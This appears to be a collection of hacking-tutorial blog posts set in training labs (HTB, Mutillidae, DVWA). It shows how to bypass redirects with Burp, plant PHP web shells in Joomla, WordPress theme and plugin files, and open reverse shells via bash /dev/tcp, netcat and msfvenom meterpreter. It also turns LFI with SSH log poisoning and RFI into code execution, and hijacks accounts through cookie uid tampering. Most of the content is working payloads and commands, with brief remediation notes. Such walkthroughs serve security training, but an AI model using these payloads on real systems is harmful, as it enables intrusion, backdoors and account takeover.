Bypass 30X redirect with BurpSuite

The HTTP response status code 302 Found is a common way of performing URL redirection.

Permanent redirections

These redirections are meant to last forever. They imply that the original URL should no longer be used, and replaced with the new one

Code Text

301 Moved Permanently

308 Permanent Redirect

Temporary redirections

Sometimes the requested resource can't be accessed from its canonical location, but it can be accessed from another place. In this case, a temporary redirect can be used.

Code Text

302 Found GET methods unchanged.

303 See Other

307 Temporary Redirect

Hacking steps

1. Trying to access http://bank.htb/, I get redirected to http://bank.htb/loging.php

  • Request

  • Response

In the response we see the following

HTTP/1.1 302 Found = 302 redirection code

location: login.php = redirection to

Indicating we will redirect to http://bank.htb/login.php


New request

New Response

This all happens automatically. We are sent to a log in page

2. Capturing the response and filtering 30X responses to set 200 OK will let us bypass this redirection.

  • Proxy -> Options -> Intercept Server Responses -> Check box (Intercept responses…)

3. Now edit “Match and Replace” section

Now add a new rule

  • Add

Fill in the blanks

  • Type: Response header
  • Match: 30[12] Found #match either 301 or 302
  • Replace: 200 OK
  • Comment: VK9 redirection bypass
  • Check “Regex match”

  • Click OK, enable the setting by activating the checkbox

4. Now, test again



We are now getting a 200 OK response. We are now shown a different page and view, then the log in page


Reverse shell on any CMS

This trick works on any CMS you access. In case, you get the credentials either by brute force, disclosure, etc. This example uses Joomla! CMS

Joomla Reverse shell

1. Having access to the account and being able to edit the template

  • Go to Extensions - Templates - Templates

2. Select the template to use, in this case “Protostar Details and Files”

  • Click on New File

  • Choose a file name: vk9-sec
  • Choose the extension: php

  • Click on Create

3. Create a PHP script to accept remote commands

  • <?php echo "Follow us." ?>
  • <?php echo shell_exec($_GET['cmd']); ?>
  • Click save

4. Locate the vk9-sec.php page, in our case it is under /templates/protostar/vk9-sec.php

5. We know the PHP file is working, now we will enter the GET request via URL using the variable ‘cmd’


6. Let’s execute a remote file with a netcat reverse shell

  • start a listener in Kali/Parrot

Create a file with the command

  • echo "bash -i >& /dev/tcp/ 0>&1" >
  • cat

Establish a python web server to download the file from the remote server

  • python -m SimpleHTTPServer 9999

Now using the ‘cmd’ variable in vk9-sec.php download the file using curl

  • | bash

Looking at the listener, we get a remote connection

Python web server logs

Reverse shell WordPress & Metasploit

1. Having already an active session in WordPress to the admin page. We can edit the page source and inject code that can do literally anything when the page is executed.

  • Appearance -> Editor
  • I chose “index.php”

2. To test we can inject a simple PHP code, in index.php script. The page should show, the text, and perhaps the output of a bash command through ‘cmd’ variable

  • <?php echo "Vry4n" ?>
  • <?php echo shell_exec($_GET['cmd']); ?>

3. Capturing the traffic with BurpSuite we will analyze the server responses

  • First picture, we will just see string in the source code ‘Vry4n’

  • The second time we will visit (

4. Knowing we can print stuff on screen and execute some commands. We can proceed with the reverse connection.

Reverse Shell

1. From the attacking machine, we will generate a payload using MSFVenom, this will be in PHP language as the site has many PHP scripts already coded

  • msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 -f raw

2. Copy this code to the editor in WordPress

3. Start a listener in Metasploit

  • sudo msfdb init
  • sudo msfconsole
  • use exploit/multi/handler
  • set payload php/meterpreter/reverse_tcp
  • set LHOST
  • set LPORT 443
  • exploit

4. Now execute the script by visiting /index.php in the browser


5. The connection should show up now in Metasploit listener

WordPress Plugin editor

Having already access to CMS admin console. You could modify a plugin code and inject whatever you want.

1. Go to Plugins - Editor

2. Locate the script, you want to modify and add. I’d use akismet, usually plugins are stored at /wp-content/plugins

  • <?php echo "Vry4n" ?>
  • <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

3. Now visit the plugin from the browser, as you can see, the string “Vry4n” displays as the first line echoes it


4. We can now try a reverse shell. Start a netcat listener in your local machine

  • nc -lvp 443

5. As per the second line we requested a reverse shell, reload the page

Testing LFI to RCE using auth.log (SSH) poisoning with Mutillidae & BurpSuite

The File Inclusion vulnerability allows an attacker to include a file within the system, this happens due to bad handling of user input.

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, the parameter might be able to be passed in via either GET (URL) or POST (variables) due to the parameters pollution flaw. Using the parent traversal operator ("..") can help break out of the web server file folders. Also, direct file paths can be tried.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • Code execution on the web server
  • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
  • Denial of Service (DoS)
  • Sensitive Information Disclosure

Example of vulnerable code


$file = $_GET['file'];











1. Access to OWASP 2017 - "A5 - Broken Access Control” - Insecure Direct Object References – Local File Inclusion

2. Make a request and grab it with BurpSuite for further analysis

We see this is a GET request and the parameters can be modified via BurpSuite or directly from the URL in the browser. This time I decided to keep playing with BurpSuite.

3. Modify the request and try to see a common file, we use the path as below to make sure we go back to the root directory, also, you can encode the value to try to skip user input validation.

  • page=../../../../../../etc/hosts

Edited request

Server response

In the browser we see the following

This means that /etc/hosts can be read via LFI.

Log Poisoning to Remote Code Execution

This technique is used to poison any log if you can write append to it. This case we will use auth.log this is an ssh log located in /var/log/

1. Try to read that file using LFI technique

There are possible results:

  • Display file auth.log content: If the user has permission to read it
  • Display blank page: It exists but can’t be read or displayed
  • 404 error: The file doesn’t exist

2. In this case we can read the file. Since, SSH is used to write on this file, we use SSH to try to leave a log entry.

  • ssh vk9sec@

This is the log entry, if we have access to the server

  • tail -n 5 -f auth.log

Since, we can read the file from the browser we search for that entry

At this point we know we are writing to this file.

3. Now, we will poison the log file with the following entry

  • ssh '<?php system($_GET['cmd']); ?>'@

Looking at the log locally from the server I found the entry

  • tail -n5 -f auth.log

In the browser I found this entry

  • “Invalid user from port 43318”

4. Now we have injected the “cmd” variable to execute system commands, let’s try that out. We will be printing the current working directory


Here we can see the output of pwd command. We are executing those. Now we will execute a reverse connection.

5. To have the remote session start the listener

  • nc -lvp 4444

Now run the following command instead of the pwd

  • –e /bin/bash 4444

The listener now should have got the remote connection.


The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control RFI & Reading file function exploitation + reverse shell with Mutillidae and BurpSuite

This time we will be exploring RFI and read file explorer


Remote file inclusion allows an attacker to include file remote (from the web servers point of view) possibly allowing code execution, denial of service, and data disclosure.

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach.

$incfile = $_REQUEST["file"];


A URI can be used to specify a remote file such as

Note the page parameter contains the URL to the search page. http://localhost:8080/index.php?page=

If we host our own content, we could control the content of the page loaded by the page parameter. For example, host a small PHP web shell file on a site you control.


echo "<pre>";

echo "shell_exec " . $_REQUEST["cmd" ] . "\n\n";

echo shell_exec($_REQUEST["cmd"]);

echo "</pre>";


We create a hyperlink that will exploit the remote file inclusion vulnerability in the index.php page to incorporate the web shell into the web page.


If we get to see the content of the command we can then successfully write a reverse shell

RFI example

1. Navigate through Mutillidae OWASP 2017 - Broken access control - Insecure Direct Object References - Remote File Inclusion

2. Capturing the traffic I see this is a “GET request”, I decided to play with the “page=” attribute in the URL “page=arbitrary-file-inclusion.php”

5. I tested this by using an existing page I own and one that doesn’t exist.

Existing one, it doesn’t print anything but shows as blank “page=http://localhost/”

Non-existing one does indicate the page is not found “page=http://localhost/123.php”

4. I created a php file to run a reverse shell, vk9script.php

  • <?php echo shell_exec(“nc -e /bin/bash 4444”) ?>

First start a listener in the attacker machine

  • nc -lvp 4444

Then we capture a request to the site and place our server and script, it will be run by the web page, I’m issuing all this locally, it does work the same on a remote server as long as there is nothing blocking traffic in between

Original Request

Edited request

Once, the RFI has done its work executing the remote file. The reverse shell takes effect and our listener gets a connection

Issuing the python command gives us access to a shell


Text File Viewer

1. Go to OASP 2017 - "A5 - Broken Access Control” - Insecure Direct Object References - Text File Viewer

2. This does read a file from a remote source, select the file and click on “View File”

3. Capturing the request, I noticed it is “POST”, and, there is a variable with a value that points to a remote file

5. I modified this and pointed to my hosted file http://localhost/vk9script.php, also, I started a listener


  • nc -lvp 4444

Modified request

6. The listener got the remote connection, the python command gives us access to a decent shell

  • python -c ‘import pty; pty.spawn(“/bin/sh”)’


The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

Access control: Account highjacking with Mutillidae

This happens when a cyber-criminal controls somebody else’s account by using credentials (session ID, username number, etc.)

In this example I will demonstrate this technique using Mutillidae, we’ll create 2 accounts and highjack it.

  • OWASP 2017 - “A5 - Broken Access Control” - Insecure Direct References – Via Account Highjacking


1. Create an account “Please register here”

It opens a script named “page=register.php” Enter the following

  • Username: attacker
  • Password: test
  • Confirm Password: test
  • Signature: Follow on Twitter -> @Vry4n_

Click on create account

2. Go back and this time click on “login here”

Click on Login to access the new account. It shows at the top “Logged In User: attacker”

3. Capturing the login request with BurpSuite we noticed that by logging in the servers modified the current cookie by adding 2 more values besides the existing “showhints=1; PHPSESSID=21cv08dsk7jisebj1vb0a428jp”

HTTP request

HTTP response

New values:

  • username=attacker
  • uid=24 # This is the user ID we will exploit it

4. Send that to Burp Intruder, set the uid value as variable, as I saw 24 as uid of my created account, I will count from 1 - 100


  • Attack type: sniper
  • Uid-$24$

Payload 1

  • Simple list
  • Load ->select the list of numbers
  • Start attack

I went through the results and checked what is printed on “Logged In User: “, some results showed other than attacker, which means the uid exists

I found “admin” to be uid=1, this time the result show “Logged In Admin: “

5. Inspecting the cookie and changing the current value in the browser from 24 (attacker) to 1 (admin)

6. The result is that the user logged in now is “admin”

7. If you go back to “OWASP 2017 – ‘A5 - Broken Access Control’ - Insecure Direct References – Via Account Highjacking”

The password of the user admin can be changed.

Tips: To test this vulnerability you can create 2 accounts and compare their values to know if that can be predicted/stolen somehow.

Best practices

  • Implement role based access control to assign permissions to application users for vertical access control requirements
  • Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements
  • Avoid assigning permissions on a per-user basis
  • Perform consistent authorization checking routines on all application pages
  • Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis

Session Management DVWA

Log in to DVWA admin/password, Session IDs have 4 levels (low, medium, high, impossible)

We will first inspect the low one. So, set the level to low


This script is very basic and unsecure, due to the session ID is created in plaintext and uses the most common sequences.

Click on view source to open the window below

This code does the following:

  • If the method is “POST” and if there is no “last_session_id” set it to 0 to start.
  • If there is already a “last_session_id” start increasing by one
  • Then, set the cookie with the value and set it as “dvwaSession”

If we test against sequencer it shows this is weak


This is still weak, instead of a fix number increment, this implements the value based on time

Sending it to sequencer shows it is still poor


These time things get a little more serious. This request first checks for the type of request it should be “POST”, if isset has not been declared set the variable ‘last_session_id_high” = 0, once, the session has been created increment “last_session_id_high”, set the session id value as MD5 of the “last_session_id_high”, then, set the cookie values:

  • Value name: dvwaSession
  • Set the cookie value : the md5 hash
  • Set the time to expire
  • The path in which this session is allowed: /vulnerabilities/weak_id
  • IP address
  • False might indicate some values omitted

It seems more complicated even sending this to sequencer it showed positive results: excellent

In reality this is not a secure practice, as the MD5 hash was transmitted in the response set-cookie. I captured that traffic

Set-Cookie: dvwaSession=e4c8c477d15f72bef65651ddb22c5891; expires=Wed, 15-Jan-2020 01:58:08 GMT; Max-Age=3600; path=/vulnerabilities/weak_id/; domain=

Now using any md5 tool, in this case I’m using

So we got the Session ID.


This time the code got more robust. If the request is “POST”, set the session ID as a hash value SHA1 of a random number, concatenate the time and concatenate the work “Impossible”